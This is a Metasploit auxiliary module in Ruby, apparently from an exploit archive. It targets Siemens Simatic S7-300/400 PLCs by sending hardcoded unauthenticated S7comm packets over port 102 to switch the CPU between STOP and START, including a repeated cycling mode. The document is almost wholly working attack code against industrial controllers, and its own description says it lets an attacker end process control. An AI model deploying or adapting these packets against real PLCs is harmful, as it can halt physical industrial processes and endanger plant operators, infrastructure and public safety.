Siemens Simatic S7-300/400 – CPU START/STOP Module (Metasploit)
# Exploit Title: Siemens Simatic S7 300/400 CPU command module # Date: 7-13-2012 # Exploit Author: Dillon Beresford # Vendor Homepage: http://www.siemens.com/ # Tested on: Siemens Simatic S7-300 PLC # CVE : None require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module', 'Description' => %q{ The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP this modules allows an attacker to perform administrative commands without authentication. This module allows a remote user to change the state of the PLC between STOP and START, allowing an attacker to end process control by the PLC. }, 'Author' => 'Dillon Beresford', 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ], ], 'Version' => '$Revision$', 'DisclosureDate' => 'May 09 2011' )) register_options( [ Opt::RPORT(102), OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]), OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10]) ], self.class) end def run_host(ip) begin cpu = datastore['MODE'] || '' cycles = datastore['CYCLES'] || '' stop_cpu_pkt = [ "\x03\x00\x00\x16\x11\xe0\x00\x00"+ "\x00\x01\x00\xc1\x02\x01\x00\xc2"+ "\x02\x01\x02\xc0\x01\x09", "\x03\x00\x00\x19\x02\xf0\x80\x32"+ "\x01\x00\x00\xff\xff\x00\x08\x00"+ "\x00\xf0\x00\x00\x01\x00\x01\x03"+ "\xc0", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x00\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x40\x00\x01\x84\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x21\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x02\x00\x10\x00"+ "\x00\x29\x00\x00\x00\x00\x00\x09"+ "\x50\x5f\x50\x52\x4f\x47\x52\x41"+ "\x4d", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00" ] start_cpu_pkt = [ "\x03\x00\x00\x16\x11\xe0\x00\x00"+ "\x00\x01\x00\xc1\x02\x01\x00\xc2"+ "\x02\x01\x02\xc0\x01\x09", "\x03\x00\x00\x19\x02\xf0\x80\x32"+ "\x01\x00\x00\xff\xff\x00\x08\x00"+ "\x00\xf0\x00\x00\x01\x00\x01\x03"+ "\xc0", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x00\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x40\x00\x01\x84\x00\x00\x00", "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x01\x00\x0e\x00"+ "\x00\x04\x01\x12\x0a\x10\x02\x00"+ "\x10\x00\x00\x83\x00\x00\x00", "\x03\x00\x00\x25\x02\xf0\x80\x32"+ "\x01\x00\x00\x00\x02\x00\x14\x00"+ "\x00\x28\x00\x00\x00\x00\x00\x00"+ "\xfd\x00\x00\x09\x50\x5f\x50\x52"+ "\x4f\x47\x52\x41\x4d" ] # CPU STOP if(cpu == 1) connect() stop_cpu_pkt.each do |i| sock.put("#{i}") sleep(0.005) end end # CPU START if(cpu == 2) connect() start_cpu_pkt.each do |i| sock.put("#{i}") sleep(0.005) end end # STOP / START CPU for n in 0..cycles if(cpu == 3) connect() # We assume PLC is up and running (issue a stop command) stop_cpu_pkt.each do |i| sock.put("#{i}") sleep(0.005) end connect() # We assume PLC is has been stopped (issue a start command) start_cpu_pkt.each do |i| sock.put("#{i}") sleep(0.005) end end end data = sock.get_once() print_good("#{ip} PLC is running, iso-tsap port is open.") if(cpu == 'true') print_status("Putting the PLC into START mode.") elsif(cpu == 'false') print_status("Putting the PLC into STOP mode.") end disconnect() rescue ::EOFError end end end |